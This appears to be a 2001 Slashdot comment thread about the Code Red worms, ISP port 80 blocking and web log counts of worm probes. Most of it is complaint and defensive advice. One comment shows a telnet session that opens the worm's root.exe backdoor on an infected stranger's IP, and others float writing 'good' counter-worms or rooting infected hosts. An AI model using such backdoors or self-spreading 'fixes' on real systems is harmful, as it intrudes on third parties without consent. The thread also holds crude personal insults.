..has DEFINITELY shut off inbound port 80 traffic to some (if not all) of their cable modem infrastructure. I am in Massachusetts, and I'm cut off. The roadrunner.* newsgroups are boiling over this, and there's been NO official release from AT&T, although their customer support reps readily admit that 80 is off and will remain off, presumably indefinitely. I am bullshit about this, but have nowhere to go. DSL is collapsing while AT&T is getting bigger. Behold the fruit of two monopolies: AT&T and Microsoft.
I don't understand why Symantec classifies a "remote root" exploit as only "medium" damage.
Maybe because they don't! You are thinking in terms of security hole. With a virus it is different, you are more concerned about data loss.
A virus can inflict low damage, ie: print a message on the screen that you are stupid, or a high DAMAGE rate of deleting your whole hard drive. Medium is a good measurement of this one, as it only has the POTENTIAL for data loss.
Why not create a good virus to interact with Code Red and force it into a benign state?
Is this possible?
I agree that cable users are causing the most damage from what I can see. I wish Road Runner (Time Warner Cable) would cut off port 80 as well. I'm logging thousands of attempts from other RR users on my firewall.
:)
My webserver is also logging in the hundreds, mostly from various cable and DSL users. Personally I think it would be nice if they could re-enable port 80 on request for those who actually need it, but unless you're a business customer, I would think blocking port 80 temporarily would be for the greater good...
BTW, visiting most of the Road Runner IPs I'm logging, most of them don't have a page up at all. I get an IIS error about there being no "default" page... IOW, I suspect these users have no idea that they're even running IIS, much less that they're infected. Others show a page saying that too many connections are open (is this some sort of artificial limit in IIS, which depends on the license you've purchased, or is it actually an overload condition? Or an OS limitation?)
It seems like the cable networks should let their users know (this could easily be automated: "Dear Customer, you are infected with Code Red, go here...")
Besides, these people are killing my ping times in UT
NGWave - Fast Sound Editor for Windows
1000 machines! If this is phase 1, and phase 2 is a massive dDOS attack, the internet in in for a rough ride.
I've refrained from logging into any of those boxes, but the more the attacks roll in, the more I feel I have to do something (like bitch slap anyone stupid enough to run an unpatch IIS, or IIS full stop for that matter).
Bringing up the websites of the infected machines is always good. One of the machines in my blacklist was touting "Advanced Network Security Training". I'm still giggling at that one :)
Looks can be deceiving. Or CAN they?
I recieved an email today from road runner (aka time warner cable) regarding the "VIRUS ALERT. YOUR IMMEDIATE ACTION IS REQUIRED". For the intrigued, here's the letter:
------
VIRUS ALERT. YOUR IMMEDIATE ACTION IS REQUIRED.
Dear Road Runner Subscriber:
Road Runner, like many other ISPs and indeed the entire Internet, has today experienced an attack on its network which is apparently attributeable to the Code Red virus. It is possible that this virus has infected the PC's of Road Runner's subscribers using the Microsoft Windows NT or Microsoft Windows 2000 operating systems. Infected PC's may continue to flood the Internet and Road Runner's network with virus generated messages (even without your being aware of it).
Road Runner is working to alert all of its subscribers to this problem and to instruct them on where to find and install the patch necessary to eliminate the virus. In the meantime, Road Runner subscribers may experience slow network response, flashing connectivity lights on the cable modem, and other symptoms (such as unusual port scan log activity or increased firewall activity) while Road Runner and the Internet community work to control the impact of this virus.
IF YOUR PC IS RUNNING WINDOWS 2000 OR WINDOWS NT, PLEASE IMMEDIATELY DOWNLOAD THE CODE RED PATCH FROM MICROSOFT'S WEBSITE (www.microsoft.com/security) AND RESTART YOUR PC.
IF YOUR PC IS RUNNING WINDOWS 98, WINDOWS 95, OR WINDOWS ME, OR IF YOUR ARE A MACINTOSH USER, NO ACTION IS REQUIRED ON YOUR PART.
We ask for your patience while Road Runner continues to work with the Internet community to address this virus. Thank you. Road Runner Security
P.S. Please, do not reply to this message
--------
Well, gee, if the whole "internet community" is at work at resolving the issue, I can rest easy. But then again, they only say no to worry if you're running Windows 95, 98, ME or MacOS. Well, I'm running Linux and NetBSD, so I guess I should be worried, eh?
--
#nohup cat
To specify more specifically for the people misunderstanding this poorly worded post, port 80 is not completely block. Only the _INCOMING_ connections to port 80 are block, so only people running webservers are infected. Because I currently run a webserver using Apache under Linux on my MediaOne cable modem, I am currently on hold on the MediaOne tech-support line attempting to get port 80 unblocked.
"The group gathered around the dinner table then managed to get a copy of the worm and began disassembling its code"
Doesn't looking at the code and trying to figure a way around the usage of this program violate the DMCA? I think that those at this conference should be held accountable.
I work for a rather large cable modem provider in the callcenter. We are getting inunduated with calls about the code red virus. Especially concerning hyper-active activity lights on cable modems. It's been like this ever since sunday. I must admit, we are very close to blocking port 80 as well, since we don't allow web servers anyways. oh well, I start my new job next monday.
@Home's AUP specifically says "no servers". Also, they've always blocked port 137, so the tools are already installed. Yet they still haven't blocked port 80, even though each IP is getting hit approximately every other minute.
Some companies will always try to minimize potential risk to your network if it's windows related.
I'm quite upset right now... I run a few fairly popular websites from my cable connection, and I'm not even running ISS, or Windows for that matter, so why do I (and my viewers) have to suffer? I can understand why AT&T is doing it, but still, it irks me... Just another example of Microsoft (indirectly) screwing over people that don't even use their software...
-- www.RoachMcKrackin.com
I've setup BitchX and a shell script to monitor Code Red attempts to my AT&T based apache serv. They are 100% right about at&t being nailed hard, and yes the arp traffic is thru the roof.... Irc.Piratesnet.Net on #CodeRed if anyones interested :)
When encryption is outlawed, ou++1!@(93j++js-d9298yIUH(*Y24JKB!~
the problem is medium because for a user point of view, the damage is relatively low risk for the computer compare to reformating the hard drive or erasing the BIOS
who said Symantec cares for ISP and other system maniacs !!!
their only interest is to sell you the latest anti virus that can protect your Winblows <whatever> against naughty worms or viruses...
Hm. Slashdot ate part of my ping example ;p the correct command should've been:
/dev/null &
;)
ping xxx.xxx.xxx.xxx >
where xxx, etc. is your gateway's IP.
You all assumed that anyways, but...
BRx.
Life after capitalism? The participatory economics project
or the worm has a sleeping behaviour pattern. Please review the following message from the Securityfocus Incidents Archive (the message was sent 30 minutes ago)
I'm connected through MediaOne (AT?T@Home) and I've not seen any evidence of blocking. The log has not shown a reduction in connection attempts since I first noticed something was happening Saturday afternoon, typically 1 to 4 attempts per minute. And, unlike what some others have reported, I've not seen any degradation in service. The continuous blinkin' lights are sortof annoying though.
NULL
and I'm on @home's network. I like the program 'etherape' to sit and watch the requests come in and then browse to the IP's to see JoeBlow's homepage.
/etc/httpd.conf it's not really that hard.
really, do these home users PAY for IIS? of course not, would you? If you're going to use software free, use free software!!!
I can't imagine that anyone who administers servers for a living hasn't already patched againts this. Thus I think most of this Code Red comes from home users windows boxes with pirated software. I wish MS did pursure those people because we'd have a whole lot more Linux users if that was the case. ( I guess that's why they don't)
a note to IIS users:
"The Most Fun Possible on 4 wheels" is at SunBuggy in Las Vegas
Yeah, it's an Outlook specific virus and now after this infection I've finally gotten my "higher up's" to get away from the Microsoft syndrome. After the intial infection, spread, and removal of Sircam I did some research and found it to be an extremly well written virus.
The intresting details:
1) Of course it does the all common spread through Outlook's address book.
2) Also the virus scans all of the resident HTML cache and pulls out every email address listed in it
3) Then, connects to every shared computer it can find w/ write access and infects that as well
4) And the kicker that I love so much, is that it is bi-lingual. If it detects the native systems language as Spanish it will send all the emails out en espanol.
Just a little course to those not completely familar w/ our newest addition to the viruses that plague IT specialists.
Here in Fairfax, our cable modem dropped out around 6pm Sunday night; it came back up after about an hour, but ever since then, I've had faster speeds on dial-up.
The phone system reports that SirCam has taken out their email servers, and that Code Red [I|II] is causing serious performance problems. They expect to have it done by tomorrow - except that today, when I called, they no longer are saying that, merely begging users to patch their systems.
Phone tech support is turned off, at least in my wanderings in the phone system.
Anyone else having these problems?
ZOMG I WOULD LOVE TO KNOW ABOUT YOUR FEELINGS ON MACINTOSH VERSUS WINDOWS, VI VERSUS EMACS, AND HOW YOU'RE NOT A DORK
Well I'm on @Home and I'm not sure if this has to do with Code Red or not, but my cable modem light indicating bandwidth use has been flashing pretty much CONSTANTLY since Sunday or so, even when the computer was off!
I know it's more than port 80 hits, because there's not a constant stream of them in my log file, and I don't even run the web server most of the time. I get plenty of them when it does run, but it's got to be more than that.
I'm claiming ALL your fp's because you're a spastic fuckwit AC!!
er.. wait a second...
How much better would software in general be without the anticompetitive practices, "standards" and "enhancements?" How much smoother would the net run if admins could plug all their security holes as they became known, not just when MS deigns to acknowledge that they exist and provides a band-aid? What prices out there would be lower if companies didn't have those extra costs? What profits (other than Bill's) would be higher? I'm sorry, but it just pises me off.
I spent a year in Iraq looking for WMD and all I found was this lousy sig.
Of course, if you want to know what the Code Red Worm is, you might want to check out: http://www.everything2.com/index.pl?node_id=112673 9&lastnode_id=1037487
"The universe is a womb for the genesis of gods."
I just feel that it should be reasonably complex to set up such servers. Not just for M$ which is Plug and Play (BSO.. oops... PnP) but also with linux. For example, an apt-get install of telnetd on a debian system adds the service to inetd by default, no questions asked. I don't know how other distros are like, but the consolation for linux users is that they are usually younger than grandma.
"I noticed a sharp increase in activity," Mr. Levy said. So he set up a "honeypot," or computer intended to lure attackers, to get a copy of the worm
Oohh, A digital "honeypot" to "lure" attackers. Maybe it sends out a digital scent irresistable to worms. It's all very mysterious, but he's an expert, so I'm sure he knows what he is doing.
Or maybe it is as simple as a random ip on a cable provider like rr.com, where my port 80 was getting hammered about 1000 times an hour between 2 AM and 5 AM Sunday morning. Logs, anyone?
no hablo espanol, shithead
% telnet 128.134.111.8 80 /scripts/root.exe HTTP/1.0
Trying 128.134.111.8...
Connected to 128.134.111.8.
Escape character is '^]'.
GET
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 07 Aug 2001 22:47:22 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
c:\inetpub\scripts>
It gives a command prompt, but typing commands doesn't seem to do anything...
Okay, if you're going to use the archaic, tongue-in-cheek unix-guru term "boxen," at least bother to learn that its denotation is plural.
And now back to your regularly scheduled worm discussion.
Yes I noticed this early this morning. It appears my code red hits stopped shortly after 11:05pm last night.
They might have blocked 80 from the outside world, but internal infections can still take place.
I can connect to a few IPs that affected me within the 24.163.x.x network.
On the chat with tech support they have no date when the block will be lifted.
I was looking at my server log, and couldn't believe how many hits from the second round code red it received. I did a DNS lookup on a few of the addressed (most of the hits seem to be from 64.x.x.x). Several are from 64.4.13.232 (msgr-cs22.msgr.hotmail.com).
At first I was astounded that so many users could running IIS still unpatched, but if sites like hotmail can't patch their servers, how can we expect the average home user to?
I'm on Road Runner, and my firewall is logging between 10 and 30 requests per minute -- most of these coming from within the road runner network (24.x.x.x range).
The funniest thing though-- if you go to just about any of these IP address with a web browser, its the default page for IIS. Meaning someone set up a web server (perhaps unknowingly) and forgot about it.
Code red is so profligant (because it require no user intervention to spread), that a new machine installation will likely be hit by it in 10 minutes or less, which of course, is less time than it takes to patch it, which of course means that until you patch it, the remote exploitation is free to install anything else it wants until you close the hole, so you're going to be left with a zombiefied machine unless you install and patch with from an airgapped machine, using a local copy of the patch. I doubt most people do that.
So even with the patch up and available, the problem is far from solved. I bet the number of zombie machines out there surged 10fold today, many of which are on high speed corporate bandwidth, instead of the more meager cable modems with severely crippled upstream access.
It's going to be a rough year.
Perhaps their damage rating only refers to immediate damage done to the machine. There is no web defacement, mass amounts of files are not deleted, the drive isnt reformatted. Of course, all this *could* be done via the installed backdoor.
-A non-productive mind is with absolutely zero balance.
- AC
just got off the phone with your mom. she said she wants to blow you.
Can someone please tell me why the big ISPs just don't take this simple approach to handling the increased traffic by Code Red I & II.
.. Suddenly you stopped all the excess traffic that is happening from these infected machines probing your network.
1. Run IDS at the backbone level.
2. When you see a packet come across that is a Code Red I or II web server probe (it is real simple in detecting this), mark down the IP address.
3. Transfer the IP address to your routers and drop all packets coming from that machine for a period of time (say 2 days).
Ta da
Better yet, why aren't they turning off the connections of machines that are infected and thus generated the majority of the traffic on their network???
Road Runner in NYC is getting a ton of traffic (mainly ARP requests from the machines looking for hosts) because of Code Red. No packet loss though.
If @home blocks my port 80 i'll be quite pissed.
My ISP (www.dsl.ca) specifically allows you to run servers - and even rents a static IP. Then, one day recently, they surprised me by firewalling all outgoing SMTP. Of course, this coincided with a BIND change on my nameserver, and so when my mail spool started to fill up, my first assumption was that I'd killed the reverse lookup! I spent an hour or so trying to figure out how I'd gone wrong, but I didn't think I did. Finally, I contacted 'em about it. They just shut it off because there were too many spammers and they didn't want to do a mass-mailing, which would become a tech support nightmare ("uhh... this port 25 thing, do I need it?").
Anyway, I'm started to get really annoyed by Code Red II. My webserver log file is full of IIS crap. I hold Microsoft responsible for marketing a faulty product.
Yes I'm lame, I'm running IIS (patched) on my cable modem.You are lame, for sure. You know, it's really not that much work to set up an old 486 or something with FreeBSD and NAT, add Apache from the ports collection, and laugh at all the IIS lusers. Please ditch IIS; I'll provide a helping hand if I can.
Fire and Meat. Yummy.
but are you as tired as your dad was after i finished fucking him in the ass?
No patch for Alpha NT4 machines. I had to remove Indexing, no big deal, but damn virus even hit Alpha cpus.
Our webservers have also been getting requests for default.ida stuff. I have written a couple of short scripts to block them on the firewall. The scripts are avaialable at http://www.ispman.org/blockcodered
Depends. If you are on a modem, you will see an occasional SYN packet with a destination port 80. If you are on a cable modem or shared segment that is accessible to the Internet, you will see a lot of ARP requests for nonexistant machines along with the SYN packets. If it hits a machine with a web server on it, you will see the mailicious URL (its payload) sent to the host.
i'll happily reward it to you :-)
I've had to reboot my cable modem recently every night to restore connectivity. My ISP just sent out an email saying the CISCO cable modem that I'm using hammered by Code Red.
Here's the quote "With the Cisco 67x series, as well as HP print servers, 3Com switches, and almost all other embedded web server applications, the worm causes a buffer overrun which causes the device to lock up."
Is this really true? It seems pretty unlikely that almost all embedded web server application have a buffer overrun. It seems possible that a few devices do.
Anybody have more info?
You are not a beautiful or unique snowflake -- but you could be if you got off your ass.
I'm on a cable modem in boston and my server is responding just fine on all my ports.
Preface: I know better, I know what Code Red can do, hell I work in IT so it makes even worse
I recently started with my company right out of college and one of my jobs is to optimize queries running against an MSSQL Server. I also own a couple of HDs so I bought trays so I can switch systems without putting my eval copy of SQL on my production system. After installation, I went onto the Internet to start downloading patches and then left because Im on a 28.8 modem. When I came back I found that I had sent over 6MB and only dl 2.5 and Inetinfo.exe was going nuts. Shit I thought, I got infected. Like I said it can happen to anyone even when your trying to do the right thing and get all patched up.
HT
Wow, that's kind of weird considering the traffic ended at EXACTLY 9AM for old pages I used to host on that server. And wow, someone couldn't get to my resume that day, and emailed me about the problem they had. Very odd. I don't have a problem if they are going to block it for whatever reason, but at least admit it in the Agreement. I just want it for personal use...
Gonzo Granzeau
"Nothing the god of biomechanics wouldn't let you into heaven for.." -Roy Batty
Microsoft creates a similar internet worm that gains admin access to install the patch! I'll leave it up to you to name it.
listen to what i say to you.
What Do I Need To Know About The Code Red Virus?
l easeID=30833
l easeID=30800
What is the Code Red Virus?
The Code Red virus is a worm virus. The worm is designed to spread the first 20 days of each month and has the potential to disrupt business and personal use of the Internet for applications such as electronic commerce, e-mail and entertainment.
What does the Code Red Virus do?
The worm scans the Internet, locates vulnerable systems and infects these systems by installing itself. Each newly-installed worm joins the others. The uncontrolled growth in scanning slows the speed of the Internet and can cause sporadic but widespread outages.
The virus takes advantage of a defect in Microsoft's Internet Information Services (IIS) software. It affects only computers with the IIS Web server software and Windows NT or 2000 operating systems. Windows 95, Windows 98 and Windows Me operating systems are immune. Therefore, most personal computers in the home cannot be infected. Those users who have computers that have been infected should reboot the machine and install the appropriate Microsoft software patch.
For Windows NT 4.0: http://www.microsoft.com/Downloads/Release.asp?Re
For Windows 2000 Professional, Server and Advanced Server: http://www.microsoft.com/Downloads/Release.asp?Re
Detailed instructions to use the patches can be found below.
What is AT&T Broadband Doing About the Code Red Virus?
We're closely monitoring our network and keeping a close eye on how our customers are being affected by the Code Red II computer virus. Our engineering team is running scans of the network to identify infected users. After the scan, AT&T Broadband will alert affected customers to assist them in ridding their computer(s) of the virus.
How Does the Code Red Virus Affect AT&T@Home Customers?
You may experience slow connection speeds due to the Code Red II virus traffic across the AT&T Broadband network.
Please note that AT&T Broadband customers are not being affected any differently than DSL or dial-up users. However, the virus can ping computers much faster on our high-speed network creating slower customer speeds.
What Should I Do to Protect Myself from the Code Red Virus:
Customers who have computers infected with the Code Red or Code Red II virus should download the Code Red patch from Microsoft.
If you are running a computer(s) with the IIS Web server software and Windows NT or 2000 operating systems, take these steps to protect computers:
Download the patch
Disconnect from the Internet (see additional instructions below)
Reboot your computer
Run the patch program
Restart your computer again
To properly connect and disconnect your computer from the Internet:
Shut off your computer
Unplug the cable modem from its power supply
Wait approximately 30 - 40 seconds
Plug the cable modem back into the power supply
Turn your computer back on
For more information about online security, please visit our AT&T Broadband Security Web site.The site has detailed information about online security and how to protect your high-speed cable Internet service connection.
Filtering Port 80 Q&As
Why is AT&T Broadband and Excite@Home Filtering HTTP Port 80, and how Does Filtering that Port Prevent the Code Red Virus from Spreading?
In an effort to alleviate the spread of the Code Red and Code Red II viruses on the AT&T Broadband High-Speed Cable Internet Network, AT&T Broadband and Excite@Home are indefinitely filtering all incoming traffic on http port 80 for residential customers.
Since the virus infects computers with the IIS Web server software and Window's NT or 2000 operating systems, the blocking of port 80 traffic is one of the first steps in containing the Code Red viruses on the Excite@Home and AT&T Broadband networks. Containing the Code Red viruses will assist in restoring the AT&T@Home service to the standard our customers have come to expect.
How does the Port 80 filter affect customers?
Blocking of inbound port 80 traffic only affects residential customers that are hosting Web servers with their cable modem. Residential customers that subscribe to Excite@Home Webspace or AT&T@Home Personal Pages and are not hosting a Web server are not affected by the filter.
Are Customers Who Subscribe to AT&T Broadband Business Services Affected by the Port 80 Filter?
The Port 80 filter only affects AT&T@Home residential customers.
Why Can't AT&T@Home Residential Customers Run Web Servers?
The @Home residential service offering is a consumer product designed for your personal use of the Internet. Customers must ensure that their activity does not improperly restrict, inhibit, or degrade any other user's use of the Services, nor represent (in the sole judgment of @Home) an unusually large burden on the network itself.
The benefits and privileges available from the AT&T@Home, and the Internet in general, must be balanced with duties and responsibilities so that other customers can also have a productive experience.
Under the terms of the Excite@Home Acceptable Use Policy, the running of Web servers on a residential AT&T@Home account is not permitted. See Bandwidth, Data Storage and Other Limitations in the Excite@Home Acceptable Use Policy.
*AT&T Broadband does not provide support or endorse most third party applications. If you have questions, concerns or problems with a third party software application, you will need to contact the software manufacturer. In no event shall AT&T Broadband, its agents or officers be liable for any damages whatsoever (including, without limitation, damages to computer Hardware or Software) arising out of the use of or inability to use the Software mentioned above, even if AT&T Broadband has been advised of the possibility of such damages.
comment directly in my journal
> I don't understand why Symantec classifies a "remote root" exploit as only "medium"
>damage. Code Red^[?] is hitting cable modem networks especially hard,
>
>
1) Microsoft asked (told) them to.
2) Their software doesn't do squat against worms like Code Red.
I have been watching this code red stuff now for weeks with only a passive interest as I have other things to do and I don't feel any threat here on my slackware box. I havenet been particularly irritated either although the schools network seems a bit slower reaching out to the web. But I got one question is the person(s) responsible for this knowm? and how will the be punished for all the bandwith they have wasted?
grep ida access_log | cut -d" " -f1 | sort | uniq | wc -l
139
Looking over the infected hosts, it seems that half are broadband clients (RR, Bellsouth, Verizon, @Home, etc.), a third are overseas (with
I see Code Red as a big boon to jobhunters, especially those looking for SA work. Right there in your logs is a list of companies that are hiring, whether they know it or not.
I guess the big question is this: do you root their box before the first interview or after?
k.
"In spite of everything, I still believe that people are really good at heart." - Anne Frank
Best of all, it would replace the "hacked by chinese" with a jpg of Wally George's "USA IS #1" space shuttle poster.
Unfortunately, this would probably land you in just as much trouble as the originator of this mess (er, I mean the worm coders).
I'm on Earthlink DSL in Northern VA, and my server has been going crazy (on the 4.0.0.0 net).
Most of my Code Red hits have been from 4.0.0.0 and 24.0.0.0.
Up past 1200 hits so far just since Sunday. My Code Red hit log can be found here (wonderful Perl script provided by a fellow Slashdotter):
http://stealthboy.dyndns.org/report.html
--- witty signature
It's really assuming to say that "the virus has caused enough damage for AT&T (MediaOne) to cut off port 80 across their network. Has this been confirmed? Is this just ingress or are we talking cutting off web surfing? If it's just the ingress, then it seems they're just trying to help prevent the spread of the virus to their subscribers. ...a noble enough cause, me thinks.
Yes, I am unfortunate enough to have AT&T Mediaone cable internet. It was down almost all weekend and then on and off on Monday and today. I suspected it might have been because of the tropical storms in the area but something in my mind told me that they might just be ignorant enough to run IIS and not patch if for the code red worm.
IMHO, they can get away with calling this a "medium" level problem is because of the "standard" out there today. Just look around. Code Red, Code Red 2, SirCam, ILoveYou, and how many other Outlook-born viruses came out recently? The bar has been "raised", if you will, to a level of tolerance of remote root exploits and remote comprimises that people have become numb to it. I know that sounds far-fetched to some, but how often do you hear about a new virus (take Code Red for example), and just brush it off as normal, or not life-threatening, etc.? People have been reading all about Code Red the last few weeks, about its potential to take the internet to its knees, and the general response has been comotose. Average people just accept these things as "normal," so the average user will accept this as normal.
Just to show I don't completely pick on Windows-based products, when SSH 3.0.0 came out, it had one of the worst root exploits (well, exploit that can gain root) in awhile. What happened? CERT fired out an advisory, SSH wrote a patch, and people moved on, without there being a horrible mess. It is just accepted that sh*t happens, and that's that.
We installed the fix, and now it broke our OWA access as well as Veritas. Fucking 'A
I'm logging code red trying to attack my gateway (live with a dummy file ;). Check out the log: www.baxpace.com/gateway
:).
:)
You'll have to copy and paste that link because i only really want people who can be bothered to do that, i still want to have access to the web
You can download the viral code there. V2 is the only one that's attacked me so far, spreading over BT Openworlds subnet like wildfire. If a new variant in the code appears, the site will pick it up and store it
Weevil
ghaa.
$ grep default.ida /usr/local/apache/logs/access_log | wc -l /usr/local/apache/logs/access_log | awk '{print $1}' | sort | uniq |wc -l
2106
$ grep default.ida
868
$ ifconfig eth0 | grep inet
inet addr:24.79.x.x Bcast:24.79.x.255 Mask:255.255.255.0
It's been already shown that Code Red will not bring the Internet down. And it was never very much of a mortal threat to the majority of the users out there, because those are not running IIS (or any http server, for that matter). And until the more recent versions, the worm was not even a menace the files in the infected system (the recent versions, by installing a backdoor, would allow for a malicious invader to do a lot more damage).
The kind editor should also remember his math and Netcraft nice figures. IIS installations represent some 25% of the servers out there. Most of those are already patched by now. Even when they were not patched Code Red got only 6-7% of them (considering 4 million servers/250 thounsand infected).
Code Red is certainly a local problem in networks where it finds a nice ecologival niche. Cable modem networks are likey to suffer due to their archtecture and their own flaws. Other networks will suffer down the road.
But the main point is that this particular the worm is out of the way for nmost of us (if it ever was in the way) and will only affect the bandwidth locally.
It is almost time to reduce its risk rating to low.
But I too am seeing 30-50 arp requests EVERY SECOND. The tech support people are idiots. They say anything to get you off the phone. Arp requests are used by a machine just coming onto the network to get an address from the DHCP server. That's a once per boot, or at most once per few hours (when the lease expires) event. With 1,500,000 arps requests per hour hitting my modem, it's no wonder my bandwitdh has sucked the last week or so.
Yes, pre-existing worms disappear and no worms of that variety can infect, but in the few minutes of life it had on your system, CodeRed had full access to download other, newer, unpatched, programs that otherwise would be unable to get onboard.
I reiterate, the only safe path is to install on an airgapped machine, or on a well secured LAN. But if you have to download it from the internet, there is a chance that *anything*, not just CodeRed, will be hiding somewhere by the time you patch.
Lucky for us they caught it in time!
Oh, wait, they didn't. So what, did the NTBugTraq people hire some reporter to toot their horn for them or something?
WWJD? JWRTFM!!!
Will someone PLEASE try to write a new version of Code Red (call it Code Blue?) that innoculates computers against Code Red? I mean really.. I can't write it, as I've never written a virus/trojan/etc.. But those of you who can should know a challenge when you see it.
-- This sentence is false.
We might be in for another growth spurt...when the hundreds of thousands of college students return to campus and plug in their computers. A good portion of them have probably been unattatched to the network, or will be brand new machines just for school. Working at a University, we aren't looking forward to this potential new stream of *fun*.
One possible saving grace is that most of our students come back after the worm is supposed to sleep (20th of the month). However, it might wake again come Sept. 1st. Not to mention any server out there with bad dates ready to spew it around.
On another note, I've notified several people in other departments that they've been hit with the CR II version. They say "well, I'll just apply the patch". Wrong, that will stop your computer from trying to broadcast the worm. Unfortunately, the patch doesn't clean up the trojan explorer.exe and registry settings. I tell them "you'll need to reformat the whole computer, and they laugh". Well, at least I can be first in line to berate their IT department for not taking that suggestion when their whole networked gets compromised from another backdoor installed during the computers 'open' state.
-A non-productive mind is with absolutely zero balance.
- AC
They had to totally drop in the MidWest and they've been getting hammered with all our Cisco 675s they "upgraded" us to out here in Seattle.
...
I just unplug the box when I'm at work and plug it in when I need to use it, so it can't scan me when I'm dead.
The reason it's medium is MSFT won't do anything about it, and can cause them more problems if they complain about their inaction. They know which side of the bread has super-glue
--- Will in Seattle - What are you doing to fight the War?
I may be safe from Code Red since I run apache, but the default.ida requests coming in every 10 seconds or so is annoying. They do need to kill the flood of arp requests, though. I'm seeing 30 to 50 of these EVERY SECOND! That's about 1,500,000 per hour. Is this the doing of the Code Red worm too? arps shot way up by orders of magnitude over the last few days.
Just think what'll happen when someone evolves this thing to use an exploit where there is no patch available. Or more than one exploit. Or a cross-platform virus.
24.0.0.203 - - [07/Aug/2001:02:19:23 -0400] "HEAD" 400 - "-" "-"
24.0.0.203 is authorized-scan1.security.home.net, the machine which has been scanning for NNTP servers on port 119, ever since @Home got threatened with the Usenet death penalty.
This is the first time @Home has ever scanned my web server. It seems odd that they're sending an invalid request, although this can distinguish between Apache and IIS. Apache will treat this as HTTP/0.9 and will not send back an HTTP header on it's error page, while IIS sends an error page with full headers.
@Home has never blocked ANY port in my area, including 137-139 (I'm on Cogeco@Home). I've connecting to my home computer from university over those ports, and sucessfully transferred files. The modems are capable of simple firewalling, as any DOCSIS modem should be (I've connected to my modem through SNMP and set up some firewall rules, to block connections on port 1214 - my brother was hogging all my upstream bandwidth by using Morpheus/Kazaa).
I'm still gettings tons of hits from Code Red, but I don't really mind. I find it interesting to look through my logs and see the different versions of the worm. Among hundreds of Code Red hits, I have 3 interesting ones. Instead of saying "GET /default.ida?XXXXXX"..., they are just "XXXXXX"..., with the exploit code on the end. Does anyone know what this is? The first hit was around 12:30am last night.
Great, I just checked my computer - and IT IS CLEAN !!! I was about to freak out will all the media talking about this weird Interent Worm that attacks web-servers........
I've collected a fair IP list of Code Red infected systems. I would like to do my part and notify these people or their ISP's about their problems. I've sent lists to mediaone.net and home.com, but is that going to do any good? Do the people working at ISP's find this information useful? If so, please post where to send information about Code Red infected PCs.
I just added a url filtering rule in our Foundry switch so that it blocks all those Red Worm urls. So I don't really care if those MS people patch their servers. Of course that won't help future versions but it does the trick for now.
EUA states in section 9(b) this:
9. Service Characteristics
(b) FTP/HTTP Service Setup. Customer should be aware that when using the Service to access the Internet or any other online network or service, there are certain applications, such as FTP (File Transfer Protocol) server or HTTP (Hyper Text Transfer Protocol) server, which may be used to allow other Service users and Internet users to gain access to Customer's computer. If Customer chooses to run such applications, Customer should take the appropriate security measures. Neither AT&T nor @Home Network shall have any liability whatsoever for any claims, losses, actions, damages, suits or proceedings resulting from, arising out of or otherwise relating to the use of such applications by Customer, including without limitation, damages resulting from others accessing Customer's computer.
comment directly in my journal
It is very emberassing for Microsoft to be responsable for the biggest true worm (as opposed to email worms which can be blocked at a small number of points) in internet history.
It is well known that Microsoft could easily crush Symantec. Almost all of Symantec's products fill holes in the Windows Family Line that do not exist in other operating systems. According to reports that I have read, the Windows XP betas have, firewall software, remote access software, older operating systems have also hurt the viablity of Symantec products.
It is clearly in Symantec's best interest to ensure that Microsoft does not add to many of these new features, and when it does to water them down or license Symantec technology. It would be very easy for microsoft to include a powerfull firewall system based on one of the BSD firewall systems. But instead they have included a weak fire wall that most security consciuos users would find lacking. Microsoft Scan Disk and Defrag are also both examples of code that have been watered down. The code for defrag is even licensed from symantec.
In the past, companies that have made Microsoft look bad have been crushed. Symantec does not want to suffer the same fate
Remote Linux install, anyone?
If programs would be read like poetry, most programmers would be Vogons.
Its nice to see that even RoadRunner security doesn't know the difference between a Virus and a Worm.
Also nice to know that us linux users either don't count, or are actually suceptible to this "virus". Another quote from their email, "IF YOUR PC IS RUNNING WINDOWS 98, WINDOWS 95, OR WINDOWS ME, OR IF YOUR ARE A MACINTOSH USER, NO ACTION IS REQUIRED ON YOUR PART." And what about all the Win 3.1, Be, OS/2 users!
It would be nice if for once, 'security' people would 1) Know what they're talking about 2) Know how to alert people without causing a panic
My report on this shows that I'm getting hammered quite a bit. Over 2500 attempted attacks, which is eating quite a bit of bandwidth. And yes, I'm on cable.
My thanks, once again, to the author of the wonderful Perl program which generated this (link available on site).
You can accomplish anything you set your mind to. The impossible just takes a little longer.
Yeah, I use OS X... so sue me.
Granted I have 3 Class C blocks at Exodus, but since 00:00:01 PST on Sunday I have seen 107,581 port 80 attempts. They currently seem to running at about 45/minute.
Chris
-- I need more coffee. It's Monday. There is no such thing as enough coffee on a Monday.
I know I'm askin' for it, but I couldn't resist:
/home/httpd/html
/dev/zero default.ida
:-) (And people say PPPoE has no value.)
cd
ln -s
I'm only a 128k ISDN, but with compression, I can push over a T1 worth of zeros
Somebody needs to write a Code Red style worm that breaks into all these IIS servers and patches them...
[root@gateway rothwell]# grep default.ida /var/log/httpd/access_log | cut -f1 -d" " | uniq | wc -l
1595
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
before downloading and installing the patch
or
choose not to install IIS on installation, download the patch, install IIS while not connected to Internet and then apply patch.
However, I've heard about a new Code Red variant that spoofs ARP packets, overflowing the ARP table in Win98/ME and causing machines to freeze. AFAIK, it doesn't affect other operating systems. It doesn't seem very common either.
BTW, ARP packets are not IP packets, so you can't stop them with iptables/ipchains or any IP firewall, and they won't appear in your logs. Use a sniffer like Ethereal if you want to see what's going on.
6 of our machines at work got infected over the weekend. I was under the impression that our web guy had been keeping them up-to-date, but 5 were inside our NAT (infected by the 1 that was outside). I was under the impression that the ones inside the NAT would be ok. Bad assumption.
The bandwidth it used was so bad that it completely wiped out our ability to get out via HTTP. We could ping, get and send mail, but we couldn't browse at all. I had innoculated my home machine, and it wasn't until this morning, when we received a notice from our ISP accusing of massive port scanning of port 80 that I made the connection. I went around the office and, even after 5 of the 6 machines were innoculated, we still couldn't get out via HTTP. It wasn't until the 6th was innoculated that we could get out.
Our line is a 768/512 DSL (I believe those are the numbers), and it amazes me that a single machine infected could cause so much trouble. This is pretty disturbing.
THIS POST IS REDUNDANT. MODERATE THIS DOWN. THIS POSTER DESERVES TO LOSE KARMA.
